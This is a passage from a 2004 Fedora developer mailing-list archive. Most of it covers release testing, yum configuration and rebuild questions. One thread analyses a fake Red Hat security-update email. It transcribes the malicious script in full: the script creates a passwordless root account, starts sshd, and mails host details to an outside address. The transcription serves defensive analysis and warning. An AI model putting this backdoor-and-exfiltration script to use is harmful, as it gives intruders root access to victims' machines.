<20041023105920.GA17182@neu.nirvana> Message-ID: <20041024232045.GA9240@neu.nirvana> On Sun, Oct 24, 2004 at 05:20:03PM -0400, Cristian Gafton wrote: > On Sat, 23 Oct 2004, Axel Thimm wrote: > > > The main URL is http://testing.fedora.redhat.com/tree/ and there's a > > > mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ > > > > testing.fedora.redhat.com does not resolve (none of nsX.redhat.com). > > Anybody else has this issue still? Now all three of nsX.redhat.com properly resolve testing.fedora.redhat.com, thanks! -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From i_p_a_u_l at yahoo.com Sun Oct 24 23:36:10 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Mon, 25 Oct 2004 02:36:10 +0300 Subject: Latest Fedora Core 3 status: kernel testing needed References: Message-ID: Hi Eliot, I have this possible bug with kernel 2.6.9-1.640: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136993 The resume/suspend works but I always have this error. With the kernel from FC3t3 this was not happening. On Wed, 20 Oct 2004 17:45:57 -0400, Elliot Lee wrote: > As of today, almost everything is frozen rock solid for FC3 - the only > changes that should be going in from this point are fixes for > showstopper(*) bugs, and kernel bug fixes. > > Because a good amount of kernel work for FC3 happened after the FC3test3 > release, the release of the final FC3 has been delayed to November 8. The > extra time will be used only to give extra attention to the kernel, and to > find any showstopper bugs in other parts of the distribution. > > Please rigorously test kernel 2.6.9-1.640 from the development tree > (http://download.fedora.redhat.com/pub/fedora/linux/core/development/). > Use it! Try to break it! Find big problems with it! File bug reports! And > thanks for making sure that Fedora is as high quality as you want it to > be. > > Happy bug hunting, > -- Elliot > (*) A showstopper bug is one that corrupts data storage or severly impacts > the user's basic ability to install and use the system. From abo at kth.se Sun Oct 24 23:51:18 2004 From: abo at kth.se (Alexander =?ISO-8859-1?Q?Bostr=F6m?=) Date: Mon, 25 Oct 2004 01:51:18 +0200 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098657317.25222.3.camel@localhost.localdomain> References: <1098657317.25222.3.camel@localhost.localdomain> Message-ID: <1098661878.9874.40.camel@tudor.e.kth.se> m?n 2004-10-25 klockan 00:35 +0200 skrev Sindre Pedersen Bjordal: > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > Ewdinson Then came over this tonight, first time I've ever seen anything > like this. I don't know who I'm supposed to contact about this, but an > email here might get the message across. > > IANAL, but this must be a legal issue, as there's clearly a trademark > violation. It's hosted by Yahoo and Akamai (AkaDNS). I suppose step one is to contact them to try to get the website taken down, but that should come from Red Hat. $ host www.fedora-redhat.com www.fedora-redhat.com is an alias for premium4.geo.yahoo.akadns.net. premium4.geo.yahoo.akadns.net has address 66.218.79.147 premium4.geo.yahoo.akadns.net has address 66.218.79.148 premium4.geo.yahoo.akadns.net has address 66.218.79.149 premium4.geo.yahoo.akadns.net has address 66.218.79.155 $ host 66.218.79.148 148.79.218.66.in-addr.arpa domain name pointer p4w2.geo.scd.yahoo.com. /abo From kyndig at mudmagic.com Mon Oct 25 02:29:56 2004 From: kyndig at mudmagic.com (kyndig at mudmagic.com) Date: Sun, 24 Oct 2004 21:29:56 -0500 Subject: Introduction: Calvin "Kyndig" Ellis From MudMagic Message-ID: <1098671396.17201@mudmagic.com> Hello Developer, I am primarily a webmaster. I have experience in a number of languages, and prefer RedHat (Fedora) as my primary Operating System. I am sending this as a requirement for a software entry into the Fedora release. Recently I have released a stable, OpenSource Mud client for online text games. The client is designed to work on windows and Linux. I currently have releases for RedHat, Fedora, and Windows (NT/XP/2000/98). I have a Debian release in the works that should be available within days. As per the Fedora Wiki Self Introduction: # Full legal name Calvin Ellis # Country, City Hinesville, Georgia ( USA) # Profession or Student status U.S. Army # Company or School University of Maryland student Your goals in the Fedora Project * Which packages do you want to see published? The OpenSource MudMagic Client for online text games. * Do you want to do QA? I am open to suggestions. * Anything else special? Details of the client can be viewed at sourceforge, freshmeat, or mudmagic Historical qualifications * What other projects have you worked on in the past? I have only worked on my own personal website. Though I have released a popular Java mud client for websites, and develop my own small text gameserver in my spare time. * What computer languages and other skills do you know? A firm handle on: HTML/PHP/MySQL/C , studying - C++/Perl/Python, experience in RedHat Network administration, shell script creation for host services, etc.. * Why should we trust you? <--- too blunt? If you perform a whois of mudmagic.com, you have my home phone number (can you get any more trustworthy than that?) -Kyndig -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From symbiont at berlios.de Mon Oct 25 02:48:41 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Mon, 25 Oct 2004 10:48:41 +0800 Subject: Fake Emails about Emergency Security Update In-Reply-To: <1098657317.25222.3.camel@localhost.localdomain> References: <1098657317.25222.3.camel@localhost.localdomain> Message-ID: <200410251048.41873.symbiont@berlios.de> On Monday 25 October 2004 06:35, Sindre Pedersen Bjordal wrote: > IANAL, but this must be a legal issue, as there's clearly a trademark > violation. It's also fraud. The "patch" is actually a script compiled into C using SHC (http://www.datsi.fi.upm.es/~frosal/sources/shc.html), which installs a Binary RPM (fileutils-patch.bin). You can run "rpm2cpio" on the file, but you're not going to see much unless you can read machine code or diff between the included "ls" and your local "/bin/ls". As the shc appears to encrypt the actual script with rc4, there's not much to gain from inst.c either. Although, we know the crook ran shc with the options: shc -v -r -T -f redhat. I suspect it just installs a rootkit and overwrites (--replacefiles) all the common utilities to ensure that an intruder can always get in possibly modifying /etc/passwd and friends. Before playing with it, make sure your PATH does not contain "." before /bin, et al. And don't poke it while you're root. take care, -- -jeff From casimiro_barreto at uol.com.br Sun Oct 24 23:15:48 2004 From: casimiro_barreto at uol.com.br (Casimiro de Almeida Barreto) Date: Sun, 24 Oct 2004 21:15:48 -0200 Subject: What happened to yum and up2date repositories ??? Message-ID: <1098659748.10155.4.camel@200-170-122-123.user.ajato.com.br> Hello, >From my last "yum update" on, neither yum.conf nor yum.repositories.d nor up2date related configuration hold any data on repositories anymore... Consequence: I' m not able to yum or up2date..... The next thing, I tried to download yum and up2date directly from download.fedora.redhat.com and rpm -Uvh them... No use: configuration is still missing. Where I can get the configuration files ??? Best regards, Casimiro BTW: I'm running FC3rc2 -------------- next part -------------- An HTML attachment was scrubbed... URL: From pri.rhl3 at iadonisi.to Mon Oct 25 03:30:16 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sun, 24 Oct 2004 23:30:16 -0400 Subject: Preliminary analysis of this dweeb (was: Re: Fake Emails about Emergency Security Update) In-Reply-To: <1098657317.25222.3.camel@localhost.localdomain> References: <1098657317.25222.3.camel@localhost.localdomain> Message-ID: <1098675016.21605.62.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-24 at 18:35, Sindre Pedersen Bjordal wrote: > http://www.fedoraforum.org/forum/showthread.php?p=119734#post119734 > > Ewdinson Then came over this tonight, first time I've ever seen anything > like this. I don't know who I'm supposed to contact about this, but an > email here might get the message across. > > IANAL, but this must be a legal issue, as there's clearly a trademark > violation. I'm no security expert, but this appears to be a really inept attempt to set up a back door password-less root account accessible via ssh. It could work, but you'd have to pretty inept to let it happen. The file in question is fileutils-1.0.6.patch.tar.gz with an md5sum of 68349c219d941209af8f7c968b89d622. Untarring it creates a directory named fileutils-1.0.6.patch with three files in it: a Makefile, inst.c, and fileutils-patch.bin. A simple 'file fileutils-patch.bin' reveals it as an old rpm (circa 2002( of the fileutils rpm. And an 'rpm -qip fileutils-patch.bin' reveals it as an actual rpm built (and signed!) by Red Hat back around that time. This file, I believe is just a decoy. The Makefile simply compiles the inst.c file, yielding an inst executable. The inst.c is the interesting file that has the guts of the exploit. First, the headers reveal, as someone else in this thread has noted, that it is some kind of 'Generic Script Compiler'. A simple Google search turns up http://www.datsi.fi.upm.es/~frosal/. It's apparently a way of obfuscating shell scripts. Dweeb mistake #1: He distributed inst.c instead of statically compiling it and distributing the inst executable which is all that was needed. Having the source made this MUCH easier to analyze. So, I figured I'd just shutdown the networking on my FC3T3 box and create a non-privileged user to run this exploit as, thereby preventing any network access, including sending mail, and preventing any corruption of system files. This system's gonna be wiped soon, anyhow, so I wasn't too worried. First thing the program does is clear the screen and bomb out if you are not running as root. Replacing /usr/bin/id with a script with this content: --- cut here --- #!/bin/bash echo 0 --- cut here --- is all it took to fool it into running as a non-root user. If you're curious, set DEBUGEXEC in inst.c to 1 recompile and set TERM to 'dumb' so the screen can't be cleared. But only initial check is echoed, so you won't see everything it attempts to do. After fooling the script into running as a non-root user, the script proceeds to by telling the user that it is 'Identifying the system' and it may take up to 2 minutes. It then proceeds as if it is 'patching' the 'ls' and 'mkdir' commands and displays hash marks as it is doing it. I ran it a second time and just ctrl-Z'd the process and did a 'ps auxww | grep inst' which revealed the entirely inline (sh -c 'command') script that does the dirty deed. This script first tries to create an account by the name of 'bash' with root's uid/gid and no password. It then tries to start sshd and and sends email to root at addlebrain.com with the ip address and result of the uptime command, along with the results of the adduser and passwd commands. Here's my transcription of the script roughly snagged from the ps command, with the exception of the first two executable lines of the script which I've added: --- cut here -- #!/bin/sh echo 'Are you insane? Why are you trying to run this?' exit cd /tmp clear if [ ` id -u` != "0" ]; then echo "This patch must be applied as "root", and you are: \"`whoami`\" exit fi echo "Identifying the system. This may take up to 2 minutes. Please wait ..." sleep 3 if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then echo "Inca un root frate belea: " >> /tmp/mama adduser -g 0 -u 0 -o bash >> /tmp/mama passwd -d bash >> /tmp/mama ifconfig >> /tmp/mama uname -a >> /tmp/mama sshd >> /tmp/mama echo "user bash stii tu" >> /tmp/mama cat /tmp/mama | mail -s 'Inca o roata" root at addlebrain.com >> /dev/null rm -rf /tmp/mama mkdir /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " fi bla() { sleep 2 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" sleep 2 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" sleep 3 echo -n "#" sleep 1 echo -n "#" sleep 4 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" sleep 1 echo -n "#" } echo "System looks OK. Proceeding to next step." sleep 1 echo echo -n "Patching \"ls\": bla() echo -n "Patching \"mkdir\": bla() echo echo "System updated and secured successfully. You may erase these files." sleep 1 --- cut here --- Dweeb mistake #2: This isn't even a proper root kit. It looks like the only thing needed to fix it is 'userdel bash'. Done. Dweeb mistake #3: According to 'whois addlebrain.com', his domain is 'Locked'. Appears maybe he hasn't paid his bills? Or he's been caught already. This was just too easy to figure out. Granted, it could have fooled some n00bs who weren't familiar with Red Hat's update procedure, but then again, even n00bs might have a hard time installing this 'patch'. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From skvidal at phy.duke.edu Mon Oct 25 03:34:35 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 24 Oct 2004 23:34:35 -0400 Subject: What happened to yum and up2date repositories ??? In-Reply-To: <1098659748.10155.4.camel@200-170-122-123.user.ajato.com.br> References: <1098659748.10155.4.camel@200-170-122-123.user.ajato.com.br> Message-ID: <1098675275.24541.23.camel@binkley> On Sun, 2004-10-24 at 21:15 -0200, Casimiro de Almeida Barreto wrote: > Hello, > > >From my last "yum update" on, neither yum.conf nor > yum.repositories.d nor up2date related configuration hold any data on > repositories anymore... Consequence: I' m not able to yum or > up2date..... > > The next thing, I tried to download yum and up2date directly from > download.fedora.redhat.com and rpm -Uvh them... No use: configuration > is still missing. > > Where I can get the configuration files ??? > > Best regards, > 1. you should read the archives of this and the test-list. 2. the configuration files are in the fedora-release package. -sv From pri.rhl3 at iadonisi.to Mon Oct 25 04:12:11 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Mon, 25 Oct 2004 00:12:11 -0400 Subject: warning to list In-Reply-To: <1098676607.21605.65.camel@va.local.linuxlobbyist.org> References: <1098672221.9279.1.camel@x1-6-00-0a-e6-c7-6f-d8> <200410242252.52378.lsomike@futzin.com> <1098676607.21605.65.camel@va.local.linuxlobbyist.org> Message-ID: <1098677531.21605.70.camel@va.local.linuxlobbyist.org> On Sun, 2004-10-24 at 23:56, Paul Iadonisi wrote: > On Sun, 2004-10-24 at 23:52, Mike Klinke wrote: > > [snip] > > > A brief analysis is here: > > > > http://archives.neohapsis.com/archives/fulldisclosure/2004-10/0983.html > > And then there's mine I just posted to fedora-devel at > http://www.redhat.com/archives/fedora-devel-list/2004-October/msg01288.html. > > Heh. I hadn't thought of decrypting it directly. Something else to note about this fake security alert. Red Hat publishes an SPF record, so for those who are doing inbound SPF checking, this falsification would likely be caught before every hitting any of their inboxes. va:iadonisi:501) host -t txt redhat.com redhat.com text "v=spf1 mx a:hormel.redhat.com a:sources.redhat.com a:alertmail.redhat.com a:bltn.redhat.com ip4:65.125.54.185 ip4:65.125.54.186 ip4:65.125.54.187 ip4:65.125.54.188 ip4:65.125.54.189 ip4:65.125.54.190 ip4:219.120.63.242 -all" -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From dax at gurulabs.com Mon Oct 25 04:17:28 2004 From: dax at gurulabs.com (Dax Kelson) Date: Sun, 24 Oct 2004 22:17:28 -0600 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: References: Message-ID: <1098677848.3317.25.camel@mentorng.gurulabs.com> On Fri, 2004-10-22 at 15:36, Elliot Lee wrote: > There's a tree available that looks pretty close to what FC3 will be. > > The main URL is http://testing.fedora.redhat.com/tree/ and there's a > mirror at http://fedora.linux.duke.edu/FC3-rc1/3/ > > Please try to break it. Especially interesting are bugs in the kernel, and > any installer bugs resulting from kernel changes. How close is the rawhide tree to this RC tree? Just curious as I just installed the latest rawhide tree. Dax From roli at israel-jugendtag.ch Mon Oct 25 05:16:30 2004 From: roli at israel-jugendtag.ch (Roland Kaeser) Date: Mon, 25 Oct 2004 07:16:30 +0200 Subject: Rebuilding Fedora In-Reply-To: <1098650405.11637.56.camel@andrewfarris.dev> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> <417BDAFE.7070506@israel-jugendtag.ch> <1098646442.11637.38.camel@andrewfarris.dev> <1098646965.3935.5.camel@kyrre> <1098650405.11637.56.camel@andrewfarris.dev> Message-ID: <417C8C2E.4020705@israel-jugendtag.ch> Hello I would like to thank You all for Your suggestions. But just for a small sample, by all arguments. Try to recomile a samba for a actual CPU plattform. When You run it as it comes with the dist, You will have around 1 MByte/second transfer performance. After recompile its around 6 MBytes/second. The same on KDE, Apache etc. It's more than 5% Alan hmm? But I see, we could discuss weeks about this theme. The only thing i need is a properly howto for recomiling the distribution. Please... Kind regards Roland Kaeser Andrew Farris wrote: >On Sun, 2004-10-24 at 21:42 +0200, Kyrre Ness Sjobak wrote: > > >>s?n, 24.10.2004 kl. 21.34 skrev Andrew Farris: >> >> >>>On Sun, 2004-10-24 at 18:40 +0200, Roland Kaeser wrote: >>> >>> >>>>Hello >>>> >>>>There is a mistake. I would like to completly rebuild the whole >>>>distribution rmps from the srpms iso's not just the kernel. >>>> >>>>Kind regards >>>> >>>>Roland Kaeser >>>> >>>> >>>Are you considering the amount of cpu time required to build this entire >>>distro? It is not something I think you want to do on a workstation, >>>I'd suggest rebuilding only those individual packages for apps you run >>>constantly. Build firefox, the KDE packages, xorg-x11, and the kernel, >>>perhaps a very few others. >>> >>>If absolute optimization is your goal, go Gentoo, and experience that >>>extra 5% Alan is talking about in his post. I've found rebuilding i686 >>>for the constant use packages makes them 'feel' faster, but I am not >>>positive it is more than illusion. Rebuilding FC2 will take longer than >>>a complete build of Gentoo. >>> >>>Why will it help very little? FC already used the best possible choice >>>of instruction order for pentium-pro and up machines, which means unless >>>your app is going to be using SSE instructions there isn't that much >>>more you can do. >>> >>> >>> >>Yes, but (being anything than a compiler specialist...) can't you >>optimize specialy for a spesific CPU, not just an arch? And how can this >>affect loading times? >> >> > >I'm also not a compiler specialist, but here is a general overview of >the situation as I understand it. > >Yes, there are three main compiler setting choices of interest you could >change. What instruction set to use (march), what optimization level to >use (Ox), and what instruction ordering to use when optimizing (mtune). > >Fedora uses march for i386 machines so that the code will work on old >hardware, but optimizes O2 (the fastest considered stable and reliable) >and an mtune for i686 (pentium pro) so that it runs the best order of >instructions for a i686 it can. From there on up the architectures >change most in ways that compiler optimizations do not capitalize on, or >that the hardware does despite your code (some cpus actually disobey). >You can optimize to a higher level (O3) but you see marginal gain and >instability, or you can use higher instruction sets which will see gain >but only for types of code that exploit the instructions (streaming >media mostly). > >As for load times, you will not see excessive change in that, what >you'll see is lower cpu usage at peak load and lower latency when >performing more tasks at once (jerky responsiveness). > >Lower load times are most effected by Prelinking, so making sure that >your system is not failing to complete the prelink is something you >could do quickly. > > > From barryn at pobox.com Mon Oct 25 05:38:13 2004 From: barryn at pobox.com (Barry K. Nathan) Date: Sun, 24 Oct 2004 22:38:13 -0700 Subject: FC3 release candidate tree - try it, you'll possibly like it! In-Reply-To: <1098677848.3317.25.camel@mentorng.gurulabs.com> References: <1098677848.3317.25.camel@mentorng.gurulabs.com> Message-ID: <20041025053813.GA17443@ip68-4-98-123.oc.oc.cox.net> On Sun, Oct 24, 2004 at 10:17:28PM -0600, Dax Kelson wrote: > How close is the rawhide tree to this RC tree? > > Just curious as I just installed the latest rawhide tree. Someone already asked that question earlier in this thread, but Bill Nottingham's answer wasn't fully satisfying to me, so here's my own take: $ diff -ru i386.20041022/Fedora/RPMS i386.fc3rc1/Fedora/RPMS Only in i386.fc3rc1/Fedora/RPMS: comps-3-0.20041021.i386.rpm Only in i386.fc3rc1/Fedora/RPMS: fedora-release-2.92-1.i386.rpm Only in i386.20041022/Fedora/RPMS: fedora-release-3-rawhide.noarch.rpm Only in i386.fc3rc1/Fedora/RPMS: rpmdb-fedora-3-0.20041021.i386.rpm Only in i386.20041022/Fedora/RPMS: rpmdb-fedora-3-0.20041022.i386.rpm $ (Despite the difference in dates, the 20041022 rawhide tree is in fact the most similar to the FC3 release candidate.) -Barry K. Nathan From perbj at stanford.edu Mon Oct 25 05:53:00 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 24 Oct 2004 22:53:00 -0700 Subject: Rebuilding Fedora In-Reply-To: <417C8C2E.4020705@israel-jugendtag.ch> References: <417BB1F2.5010904@israel-jugendtag.ch> <417BCE7D.5090605@ldb-jab.org> <417BDAFE.7070506@israel-jugendtag.ch> <1098646442.11637.38.camel@andrewfarris.dev> <1098646965.3935.5.camel@kyrre> <1098650405.11637.56.camel@andrewfarris.dev> <417C8C2E.4020705@israel-jugendtag.ch> Message-ID: <1098683580.25338.51.camel@ferrari.localdomain> On Sun, 2004-10-24 at 22:16, Roland Kaeser wrote: > I would like to thank You all for Your suggestions. But just for a small > sample, by all arguments. Try to recomile a samba for a actual CPU > plattform. When You run it as it comes with the dist, You will have > around 1 MByte/second transfer performance. After recompile its around 6 > MBytes/second. The same on KDE, Apache etc. It's more than 5% Alan hmm? Seriously, those numbers sound really suspect. First, on what kind of computer is Samba CPU-limited to somewhere close to 1 MB/s? That sounds extremely low; I don't have great statistics, but just opening large files (10s of megabytes in any case) across a network I get transfer speeds that are clearly several MB/s on modest hardware. With Red Hat originated RPMs. In most cases I sure wouldn't expect most of the network servers to be limited by processing power at all, at least not on a 100 Mbps network (I guess some new dynamics might show up using GB ethernet). If you're really getting such bad performance it sounds like a pretty severe misconfiguration. Are you sure that you were comparing identically configured systems? For Apache, I don't really have any experience with high-volume use of it, but there are so many things that should be more important than processor speed (at least for simple loads, with enough server-side activity maybe processor speed can be critical) it would be extremely surprising to see a significant speedup from optimizing for a specific processor. I'm sure that hard data gathered in a well-controlled setting would be appreciated! On the KDE front, what programs are you looking at? There may be media applications out there that don't have different libraries built for the different processor types, and where you can get MMX/SSE/SSE2 optimizations if you optimize specifically. That's basically an example of bad software design, at least when you're considering the possibility of binary distribution. The right way to do it is to automatically load libraries containing the special codepaths (there's built-in OS support for this) or doing your own runtime detection. Also, considering that there aren't all that many codecs shipped with Fedora, what applications could be showing this? > But I see, we could discuss weeks about this theme. The only thing i > need is a properly howto for recomiling the distribution. Please... No, really, you're trying to fix some symptoms you're seeing instead of solving the problem for real. If a Fedora system is really running at only a fraction of the possible speed it's misconfigured somewhere, or something is badly broken. If that's the default configuration, it sounds like a bug to me. If you still really want to rebuild everything, maybe try to look at some of the projects that are providing recompiled versions of RHEL? They have likely figured out a system for how to self-consistently build the RHEL distributions, and Fedora should have the same base components. If you know how to build the distributions, changing the default optimization options should be relatively simple. Best, Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From Axel.Thimm at ATrpms.net Mon Oct 25 07:39:07 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Mon, 25 Oct 2004 09:39:07 +0200 Subject: Splitting off package resolver config files into release package??? (was: What happened to yum and up2date repositories ???) In-Reply-To: <1098675275.24541.23.camel@binkley> References: <1098659748.10155.4.camel@200-170-122-123.user.ajato.com.br> <1098675275.24541.23.camel@binkley> Message-ID: <20041025073907.GA12612@neu.nirvana> On Sun, Oct 24, 2004 at 11:34:35PM -0400, seth vidal wrote: > On Sun, 2004-10-24 at 21:15 -0200, Casimiro de Almeida Barreto wrote: > > Hello, > > > > >From my last "yum update" on, neither yum.conf nor > > yum.repositories.d nor up2date related configuration hold any data on > > repositories anymore... Consequence: I' m not able to yum or > > up2date..... > > > > The next thing, I tried to download yum and up2date directly from > > download.fedora.redhat.com and rpm -Uvh them... No use: configuration > > is still missing. > > > > Where I can get the configuration files ??? > > > > Best regards, > > > > 1. you should read the archives of this and the test-list. > 2. the configuration files are in the fedora-release package. That would have been worth a large heads-up. a) splitting off the config files from the packages was a very good thing! It will allow config file updating by Red Hat and/or other parties w/o replacing the binaries, b) putting this into fedora-release is bad, no one wants to replace this package, other than fedora derived distros. Could the config files be put into `fedora-config-package' or similar? Please? :) -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From feliciano.matias at free.fr Mon Oct 25 09:19:12 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Mon, 25 Oct 2004 11:19:12 +0200 Subject: Splitting off package resolver config files into release package??? (was: What happened to yum and up2date repositories ???) In-Reply-To: <20041025073907.GA12612@neu.nirvana> References: <1098659748.10155.4.camel@200-170-122-123.user.ajato.com.br> <1098675275.24541.23.camel@binkley> <20041025073907.GA12612@neu.nirvana> Message-ID: <1098695953.8604.84.camel@localhost.localdomain> Le lundi 25 octobre 2004 ? 09:39 +0200, Axel Thimm a ?crit : > On Sun, Oct 24, 2004 at 11:34:35PM -0400, seth vidal wrote: > > On Sun, 2004-10-24 at 21:15 -0200, Casimiro de Almeida Barreto wrote: > > > Hello, > > > > > > >From my last "yum update" on, neither yum.conf nor > > > yum.repositories.d nor up2date related configuration hold any data on > > > repositories anymore... Consequence: I' m not able to yum or > > > up2date..... > > > > > > The next thing, I tried to download yum and up2date directly from > > > download.fedora.redhat.com and rpm -Uvh them... No use: configuration > > > is still missing. > > > > > > Where I can get the configuration files ??? > > > > > > Best regards, > > > > > > > 1. you should read the archives of this and the test-list. > > 2. the configuration files are in the fedora-release package. > > That would have been worth a large heads-up. > > a) splitting off the config files from the packages was a very good > thing! It will allow config file updating by Red Hat and/or other > parties w/o replacing the binaries, > > b) putting this into fedora-release is bad, no one wants to replace > this package, other than fedora derived distros. > It's normal. Only fedora derived distros will change /etc/yum.repo.d/* files provided by fedora-release. > Could the config files be put into `fedora-config-package' or similar? > Please? :) I does not understand your point. You can provide fedora-release-atrpms with /etc/yum.repos.d/atrpms.repo. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From d.lesca at solinos.it Mon Oct 25 10:49:30 2004 From: d.lesca at solinos.it (Dario Lesca) Date: Mon, 25 Oct 2004 12:49:30 +0200 Subject: fc3t3: selinux: useradd In-Reply-To: <200410231411.33643.russell@coker.com.au> References: <1098193070.2623.69.camel@lesca.home.solinos.it> <200410231411.33643.russell@coker.com.au> Message-ID: <1098701369.2358.245.camel@lesca.home.solinos.it> Il sab, 2004-10-23 alle 06:11, Russell Coker ha scritto: > What error do you get when running useradd from the command line? I'll check > out the first-boot panel later. This morning I have install fc3t3 on a VIA VT82xxxxx .... and the problems has not happened. All works perfectly, the first-boot have correct created the user and the useradd command work proper... This evening, on the server where I have get the error, I will watch the anaconda-ks.cfg file if I have done some strange setup. The error that I get was permission deny on file /etc/passwd, then permission deny on /etc/group file, and then on the /etc/shadow file. I have check to move the files ... mv /etc/passwd /etc/passwd.orig mv /etc/group /etc/group.orig mv /etc/shadow /etc/shadow.orig cp -a /etc/passwd.orig /etc/passwd cp -a /etc/group.orig /etc/group cp -a /etc/shadow.orig /etc/shadow and useradd have add the user .... After this check I have put the 3 files at the original state (rm /etc/passwd; mv /etc/passwd.orig /etc/passwd; ecc...), then modify the /etc/grub.conf and disable selinux (selinux=off) and reboot. After reboot useradd work proper .... If I can useful to you ... I am here, if I tomorrow have more information I send you. Many thanks to all. -- Dario Lesca From giallu at gmail.com Mon Oct 25 11:07:34 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Mon, 25 Oct 2004 13:07:34 +0200 Subject: Self Introduction: Gianluca Sforna Message-ID: Full legal name: Gianluca Sforna Country, City: Italy, Perugia Profession: System administration and projects management Company: Molecular Discovery Ltd. Goals in the Fedora Project I would like to see some more chemistry/molecular modeling packages included. In particular, I would like to package and submit the OpenMOIV (aka Molecular Inventor 2 aka ChemKit) library. I am also interested in seeing a broader wi-fi support in the distro. For example, I am currently using a USR 5410 wifi PC card with my laptop, so I could try helping the acx100/111 project providing the most up2date kernel module packages: this would be a nice addition to both Fedora (more hardware supported) and the acx100 team (more testing/reports). Of course, as time and skills permit, I would also like to do some QA on submitted packages. I am also really interested in the stateless project, so I am planning to give it a try in the near future (I have quite a few WS, laptops and servers running Fedora so updates/upgrades are becoming a full time work...). Historical qualifications This is the first time I am really involved in a community project. In the past I only did testing and bug reporting on software components we were using. I can read (and often understand ;) ) code written in most scripting languages like Perl, php, Python; lately I am trying to broaden my skills by studying C/C++, but by no means I consider myself a "programmer". I can also use DocBook for writing documentation, as I am using it to maintain the manuals for my company's products. In the end, I hope to be helpful to the whole community as much as I can. GPG KEYID and fingerprint pub 1024D/707DCD93 2004-10-25 Gianluca Sforna Key fingerprint = A4A4 92D2 462E D584 88F5 61F6 0CB3 24A5 707D CD93 sub 1024g/0465DED6 2004-10-25 [expires: 2007-10-25] From Axel.Thimm at ATrpms.net Mon Oct 25 11:26:03 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Mon, 25 Oct 2004 13:26:03 +0200 Subject: Splitting off package resolver config files into release package??? (was: What happened to yum and up2date repositories ???) In-Reply-To: <1098695953.8604.84.camel@localhost.localdomain> References: <1098659748.10155.4.camel@200-170-122-123.user.ajato.com.br> <1098675275.24541.23.camel@binkley> <20041025073907.GA12612@neu.nirvana> <1098695953.8604.84.camel@localhost.localdomain> Message-ID: <20041025112603.GA18953@neu.nirvana> On Mon, Oct 25, 2004 at 11:19:12AM +0200, Matias F?liciano wrote: > Le lundi 25 octobre 2004 ? 09:39 +0200, Axel Thimm a ?crit : > > On Sun, Oct 24, 2004 at 11:34:35PM -0400, seth vidal wrote: > > > On Sun, 2004-10-24 at 21:15 -0200, Casimiro de Almeida Barreto wrote: > > > > Hello, > > > > > > > > >From my last "yum update" on, neither yum.conf nor > > > > yum.repositories.d nor up2date related configuration hold any data on > > > > repositories anymore... Consequence: I' m not able to yum or > > > > up2date..... > > > > > > > > The next thing, I tried to download yum and up2date directly from > > > > download.fedora.redhat.com and rpm -Uvh them... No use: configuration > > > > is still missing. > > > > > > > > Where I can get the configuration files ??? > > > > > > > > Best regards, > > > > > > > > > > 1. you should read the archives of this and the test-list. > > > 2. the configuration files are in the fedora-release package. > > > > That would have been worth a large heads-up. > > > > a) splitting off the config files from the packages was a very good > > thing! It will allow config file updating by Red Hat and/or other > > parties w/o replacing the binaries, > > > > b) putting this into fedora-release is bad, no one wants to replace > > this package, other than fedora derived distros. > > > > It's normal. > Only fedora derived distros will change /etc/yum.repo.d/* files provided > by fedora-release. > > > Could the config files be put into `fedora-config-package' or similar? > > Please? :) > > I does not understand your point. > You can provide fedora-release-atrpms with /etc/yum.repos.d/atrpms.repo. I thought all of /etc/yum* had migrated to fedora-release, not only the /etc/yum.repos.d/* entries. -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From buildsys at redhat.com Mon Oct 25 11:58:27 2004 From: buildsys at redhat.com (Build System) Date: Mon, 25 Oct 2004 07:58:27 -0400 Subject: rawhide report: 20041025 changes Message-ID: <200410251158.i9PBwRF14669@porkchop.devel.redhat.com> Updated Packages: rpmdb-fedora-3-0.20041025 ------------------------- From d.lesca at solinos.it Mon Oct 25 12:38:53 2004 From: d.lesca at solinos.it (Dario Lesca) Date: Mon, 25 Oct 2004 14:38:53 +0200 Subject: cron: fixfiles.cron: daily message Message-ID: <1098707933.3691.21.camel@lesca.home.solinos.it> The /etc/cron.daily/fixfiles.cron send a message on stdout: logging to /dev/null Null message body; hope that's ok then this message is send to root from cron every day ... Perhaps it would be better to avoid useless messages with a: /sbin/fixfiles -l /dev/null -o $OUTFILE 